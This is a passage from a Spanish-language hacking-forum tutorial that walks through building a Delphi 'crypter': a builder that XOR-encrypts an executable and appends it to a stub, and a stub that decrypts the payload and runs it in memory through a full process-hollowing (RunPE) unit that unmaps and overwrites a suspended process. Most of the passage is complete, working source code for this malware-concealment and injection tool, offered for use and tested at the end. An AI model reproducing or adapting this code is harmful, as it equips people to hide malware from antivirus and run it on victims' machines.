  10.  // Establecemos el valor que tendra la variable "separador"
  11.  key := 123; // Establecemos el valor de la variable "key" como 123
  12.  
  13.  codigo := xor_now(leer_archivo(Edit1.Text), key);
  14.  // Leemos el archivo que hay en
  15.  // la caja de texto y ciframos con XOR el contenido usando una key
  16.  
  17.  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
  18.    Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);
  19.  // Copiamos el stub.exe con el nombre de done.exe
  20.  
  21.  linea := separador + codigo + separador + IntToStr(key) + separador;
  22.  // Establecemos
  23.  // la variable "linea" con el valor de contenido del archivo cifrado con
  24.  // XOR y la key del cifrado XOR
  25.  
  26.  escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos
  27.  // los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
  28.  // tambien ponemos el valor de la variable "linea"
  29.  
  30.  ShowMessage('Done');
  31.  
  32. end;
  33.  

El codigo les deberia quedar algo asi :



Para poder usar este codigo debemos crear una Unit llendo a "File->New->Unit" como en la siguiente imagen :



Una vez creada pongan el siguiente codigo :

Código
  1. // Unit : Tools for Crypter
  2. // Coded By Doddy Hackman in the year 2015
  3. // Credits : Based on OP Crypter By Xash
  4. // Thanks to Xash
  5.  
  6. unit tools;
  7.  
  8. interface
  9.  
  10. uses SysUtils, Windows;
  11.  
  12. function leer_datos(archivo, delimitador1, delimitador2: string): string;
  13. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
  14.  
  15. function leer_archivo(archivo_a_leer: String): AnsiString;
  16. function xor_now(texto: string; clave: integer): string;
  17.  
  18. implementation
  19.  
  20. function xor_now(texto: string; clave: integer): string;
  21. var
  22.  numero: integer; // Establecemos la variable "numero" como integer
  23.  contenido: string; // Establecemos la variable "contenido" como string
  24. begin
  25.  contenido := ''; // Vaciamos el contenido de la variable "contenido"
  26.  for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta
  27.  // la longitud de la variable "texto"
  28.  begin
  29.    contenido := contenido + Char(integer(texto[numero]) xor clave);
  30.    // ciframos los datos
  31.    // con XOR
  32.  end;
  33.  Result := contenido; // Devolvemos el resultado de la funcion como el valor
  34.  // de la variable "contenido"
  35. end;
  36.  
  37. function leer_archivo(archivo_a_leer: String): AnsiString;
  38. var
  39.  archivo: File; // Declaramos la variable "archivo" como File
  40.  tipo: Byte; // Declaramos la variable "tipo" como Byte
  41. begin
  42.  tipo := FileMode; // Establecemos el FileMode para abrir el archivo
  43.  try
  44.    FileMode := 0; // Establecemos como "0" el FileMode
  45.    AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo
  46. {$I-}
  47.    Reset(archivo, 1); // Leemos el archivo desde la primera linea
  48. {$I+}
  49.    if IoResult = 0 then // Si IoResult es 0 ...
  50.      try
  51.        SetLength(Result, FileSize(archivo)); // Establecemos la longitud la
  52.        // variable "Result" como la longitud del archivo
  53.        if Length(Result) > 0 then
  54.        // Si la longitud del resultado es mayor a 0 ...
  55.        begin
  56. {$I-}
  57.          BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos
  58. {$I+}
  59.          if IoResult <> 0 then // Si es distinto a 0 ..
  60.            Result := '';
  61.        end;
  62.      finally
  63.        CloseFile(archivo); // Cerramos el archivo
  64.      end;
  65.  finally
  66.    FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"
  67.  end;
  68. end;
  69.  
  70. function leer_datos(archivo, delimitador1, delimitador2: string): string;
  71.  
  72. var
  73.  contenido: string; // Declaramos la variable "contenido" como string
  74.  limite: integer; // Declaramos la variable "limite" como integer
  75.  dividiendo: integer; // Declaramos la variable "dividiendo" como integer
  76.  dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer
  77.  dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer
  78.  dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer
  79.  control1: integer; // Declaramos la variable "control1" como integer
  80.  control2: integer; // Declaramos la variable "control2" como integer
  81.  suma: integer; // Declaramos la variable "suma" como integer
  82.  numero: integer; // Declaramos la variable "numero" como integer
  83.  suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer
  84.  suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer
  85.  suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer
  86.  suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer
  87.  resultado: string; // Declaramos la variable "resultado" como string
  88.  contenido_final: string;
  89.  // Declaramos la variable "contenido_final" como string
  90. begin
  91.  
  92.  if (FileExists(archivo)) then // Si existe el archivo ...
  93.  begin
  94.    contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo
  95.    // en la variable "contenido"
  96.  
  97.    suma_inicial_1 := Length(delimitador1);
  98.    // Calculamos la longitud de la variable
  99.    // "delimitador1"
  100.  
  101.    suma_inicial_2 := Length(contenido);
  102.    // Calculamos la longitud de la variable
  103.    // "contenido"
  104.  
  105.    suma := Pos(delimitador1, contenido) + suma_inicial_1;
  106.    // Calculamos la posicion del
  107.    // "delimitador" en la variable "contenido"
  108.  
  109.    dividiendo := suma_inicial_2 - suma;
  110.    // Restamos las variables "suma_inicial_2"
  111.    // y "suma"
  112.      dividiendo2 := suma_inicial_2 - dividiendo;
  113.    // Restamos las variables "suma_inicial_2"
  114.    // y "dividiendo"
  115.  
  116.    contenido := Copy(contenido, dividiendo2, suma_inicial_2);
  117.    // Copiamos las variables y las guardmamos en "contenido"
  118.  
  119.    suma_casi_1 := Pos(delimitador1, contenido);
  120.    // Calculamos la posicion de "delimitador1"
  121.    // en la variable "contenido"
  122.    suma_casi_2 := suma_casi_1 + suma_inicial_1;
  123.    // Sumamos las variables "suma_casi_1"
  124.    // y "suma_inicial_1"
  125.  
  126.    control1 := Pos(delimitador2, contenido) - suma_casi_2;
  127.    // Calculamos la posicion
  128.    // de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"
  129.  
  130.    control2 := control1 - 1; // Restamos en uno la variable "control1"
  131.  
  132.    for numero := 0 to control2 do
  133.    // Realizamos un for usando desde 0 hasta el valor
  134.    // de la variable "control2"
  135.    begin
  136.      dividiendo3 := suma_inicial_1 + numero;
  137.      // Sumamos la variables varibles "suma_inicial_1"
  138.      // y "numero"
  139.      dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;
  140.      // Calculamos la posicion de "delimitador1" en la variable
  141.      // "contenido"
  142.      contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta
  143.      // en la variable "dividiendo4" para acceder a cierta posicion de la variable
  144.      // "contenido"
  145.      resultado := resultado + contenido_final;
  146.      // Sumamos las variables "resultado" y
  147.      // "contenido_final"
  148.    end;
  149.  
  150.    if resultado = '' then // Si la variable "resultado" esta vacia ...
  151.    begin
  152.      resultado := 'Error'; // Mostramos "Error" en la variable "resultado"
  153.    end
  154.    else
  155.    begin
  156.      Result := resultado; // De lo contrario mostramos el contenido de la
  157.      // variable "resultado" en resultado de la funcion
  158.    end;
  159.  end
  160.  else
  161.  begin
  162.    Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de
  163.    // la funcion
  164.  end;
  165. end;
  166.  
  167. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
  168. var
  169.  abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como
  170.  // TextFile
  171. begin
  172.  if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...
  173.  begin
  174.    AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable
  175.    // "ruta"
  176.    Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable
  177.    // "abriendo_archivo"
  178.    try
  179.      begin
  180.        WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);
  181.        // Escribimos los datos
  182.        // de las variables "delimitador1,"texto","delimitador2"
  183.      end
  184.    finally
  185.      begin
  186.        CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable
  187.        // "abriendo_archivo"
  188.      end;
  189.      Result := True; // Devolvemos "True" como resultado de la funcion
  190.    end;
  191.  end
  192.  else
  193.  begin
  194.    Result := False; // De lo contrario devolvemos "False" como resultado de la
  195.    // funcion
  196.  end;
  197.  
  198. end;
  199.  
  200. end.
  201.  
  202. // The End ?
  203.  

Y para terminar la Unit guardenla con el nombre de "tools".

Les deberia quedar algo asi :



Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :

Código
  1. uses
  2.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  3.  Dialogs, StdCtrls,tools;
  4.  

Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.

0x03 : Creacion del Stub

Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :





Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :



Una vez creado ponemos el siguiente codigo :

Código
  1. { uExecFromMem
  2.  
  3.   Author: steve10120
  4.   Description: Run an executable from another's memory.
  5.   Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
  6.   Reference: http://www.security.org.sg/code/loadexe.html
  7.   Release Date: 26th August 2009
  8.   Website: http://ic0de.org
  9.   History: First try
  10.  
  11.   Additions by testest 15th July 2010:
  12.     - Parameter support
  13.     - Win7 x64 support
  14. }
  15.  
  16. unit uExecFromMem;
  17.  
  18. interface
  19.  
  20. uses Windows;
  21.  
  22. function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;
  23.  
  24. implementation
  25.  
  26. function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
  27.  
  28. type
  29.  PImageBaseRelocation = ^TImageBaseRelocation;
  30.  TImageBaseRelocation = packed record
  31.     VirtualAddress: DWORD;
  32.     SizeOfBlock: DWORD;
  33.  end;
  34.  
  35. procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
  36. var
  37.  l_i: Cardinal;
  38.  l_codebase: Pointer;
  39.  l_relocation: PImageBaseRelocation;
  40.  l_dest: Pointer;
  41.  l_relInfo: ^Word;
  42.  l_patchAddrHL: ^DWord;
  43.  l_type, l_offset: integer;
  44. begin
  45.  l_codebase := f_module;
  46.  if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  47.  begin
  48.    l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
  49.    while l_relocation.VirtualAddress > 0 do
  50.    begin
  51.      l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
  52.      l_relInfo := Pointer(Cardinal(l_relocation) + 8);
  53.      for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
  54.      begin
  55.        l_type := (l_relInfo^ shr 12);
  56.        l_offset := l_relInfo^ and $FFF;
  57.        if l_type = 3 then
  58.        begin
  59.          l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
  60.          l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
  61.        end;
  62.        inc(l_relInfo);
  63.      end;
  64.      l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
  65.    end;
  66.  end;
  67. end;
  68.  
  69. function AlignImage(pImage:Pointer):Pointer;
  70. var
  71.  IDH:          PImageDosHeader;
  72.  INH:          PImageNtHeaders;
  73.  ISH:          PImageSectionHeader;
  74.  i:            WORD;
  75. begin
  76.  IDH := pImage;
  77.  INH := Pointer(Integer(pImage) + IDH^._lfanew);
  78.  GetMem(Result, INH^.OptionalHeader.SizeOfImage);
  79.  ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
  80.  CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
  81.  for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
  82.  begin
  83.    ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
  84.    CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
  85.  end;
  86. end;
  87.  
  88. function Get4ByteAlignedContext(var Base: PContext): PContext;
  89. begin
  90.  Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
  91.  Result := Base;
  92.  if Base <> nil then
  93.    while ((DWORD(Result) mod 4) <> 0) do
  94.      Result := Pointer(DWORD(Result) + 1);
  95. end;
  96.  
  97. function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
  98. var
  99.  PI:           TProcessInformation;
  100.  SI:           TStartupInfo;
  101.  CT:           PContext;
  102.  CTBase:       PContext;
  103.  IDH:          PImageDosHeader;
  104.  INH:          PImageNtHeaders;
  105.  dwImageBase:  DWORD;
  106.  pModule:      Pointer;
  107.  dwNull:       DWORD;
  108. begin
  109.  if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;
  110.  
  111.  Result := 0;
  112.  IDH := pFile;
  113.  if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
  114.  begin
  115.    INH := Pointer(Integer(pFile) + IDH^._lfanew);
  116.    if INH^.Signature = IMAGE_NT_SIGNATURE then
  117.    begin
  118.      FillChar(SI, SizeOf(TStartupInfo), #0);
  119.      FillChar(PI, SizeOf(TProcessInformation), #0);
  120.      SI.cb := SizeOf(TStartupInfo);
  121.      if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
  122.      begin
  123.        CT := Get4ByteAlignedContext(CTBase);
  124.        if CT <> nil then
  125.        begin
  126.          CT.ContextFlags := CONTEXT_FULL;
  127.          if GetThreadContext(PI.hThread, CT^) then
  128.          begin
  129.            ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
  130.            if dwImageBase = INH^.OptionalHeader.ImageBase then
  131.            begin
  132.              if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
  133.                pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  134.              else
  135.                pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  136.            end
  137.            else
  138.              pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  139.            if pModule <> nil then
  140.            begin
  141.              pFile := AlignImage(pFile);
  142.              if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
  143.              begin
  144.                PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
  145.                INH^.OptionalHeader.ImageBase := DWORD(pModule);
  146.                CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
  147.              end;
  148.              WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
  149.              WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
  150.              CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
  151.              SetThreadContext(PI.hThread, CT^);
  152.              ResumeThread(PI.hThread);
  153.              Result := PI.hThread;
  154.            end;
  155.          end;
  156.          VirtualFree(CTBase, 0, MEM_RELEASE);
  157.        end;
  158.        if Result = 0 then
  159.          TerminateProcess(PI.hProcess, 0);
  160.      end;
  161.    end;
  162.  end;
  163. end;
  164.  
  165. end.
  166.  

Para terminar guardamos la Unit como "uExecFromMem" y el codigo nos quedaria algo asi :



Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :

Código
  1. uses
  2.  SysUtils, StrUtils, Windows, uExecFromMem, tools;
  3.  

Despues borren el "{$APPTYPE CONSOLE}" al inicio del codigo para que no se vea la consola al cargar el Stub.

Ahora debemos agregar el siguiente codigo que nos servira para usar arrays en el Stub.

El codigo :

Código
  1. type
  2.  otro_array = array of string;
  3.  // Declaramos el tipo "otro_array" como array of string
  4.  

Despues tenemos que agregar la siguiente funcion para manejar los arrays y los datos del Stub.

El codigo :

Código
  1. procedure regex2(texto: string; separador: string; var resultado: otro_array);
  2. // Thanks to ecfisa for the help
  3. var
  4.  numero1: integer; // Declaramos la variable "numero1" como integer
  5.  numero2: integer; // Declaramos la variable "numero2" como integer
  6. begin
  7.  texto := texto + separador; // Concatenamos la variable "texto" y "separador"
  8.  numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en
  9.  // la variable "texto"
  10.  numero1 := 1; // Establecemos la variable "numero1" como "1"
  11.  while numero1 <= numero2 do
  12.  // Mientras "numero1" sea menor o igual a "numero2" ...
  13.  begin
  14.    SetLength(resultado, Length(resultado) + 1);
  15.    // Establecemos la longitud de resultado
  16.    // a la longitud de la variable "resultado" mas "1"
  17.    resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);
  18.    // Establecemos la variable "resultado" como la copia de las variables "texto",
  19.    // "numero1" y la resta de las variables "numero2" y "numero1"
  20.    numero1 := numero2 + Length(separador);
  21.    // Establecemos la variable "numero1" como
  22.    // la suma de la variable "numero2" y la longitud de ña variable "separador"
  23.    numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de
  24.    // "separador" en el variable "texto"
  25.  end;
  26. end;
  27.  

Ahora agregamos el siguiente codigo entre el begin principal.

El codigo :

Código
  1. var
  2.  todo: string; // Declaramos la variable "todo" como string
  3.  codigo: string; // Declaramos la variable "codigo" como string
  4.  key: string; // Declaramos la variable "key" como string
  5.  datos: otro_array; // Declaramos la variable "datos" como otro_array
  6.  
  7. begin
  8.  
  9.  todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos
  10.  // del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"
  11.  
  12.  regex2(todo, '-barra-', datos);
  13.  // Separamos los delimitadores que estan separados
  14.  // por "-barra-" en la variable "todo"
  15.  
  16.  key := datos[2];
  17.  // Establecemos como "key" la segunda posicion del array "datos"
  18.  codigo := datos[1];
  19.  // Establecemos como "codigo" la primera posicion del array
  20.  // "datos"
  21.  
  22.  codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"
  23.  // la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
  24.  // guardamos en la variable "codigo"
  25.  
  26.  ExecuteFromMem(paramstr(0), '', Pchar(codigo));
  27.  // Ejecutamos el codig en memoria
  28.  // usando la funcion "ExecuteFromMem"
  29.  
  30. end.
  31.  

Una imagen de como deberia quedarles el codigo :



Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.

0x04 : Probando el Crypter

Para probar el Crypter vamos a probarlo con una copia del programa mismo para cifrar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa cifrado , simplemente lo abrimos y veremos el builder cifrado.

Unas imagenes :









Con ven el Crypter funciona correctamente.

0x05 : Creditos

OP Crypter by Xash.
uExecFromMem by steve10120 - fixed for Win7x64 by testest.

Eso seria todo.

--========--
  The End ?
--========--

Version PDF.

Version en VideoTutorial :

Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ... 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines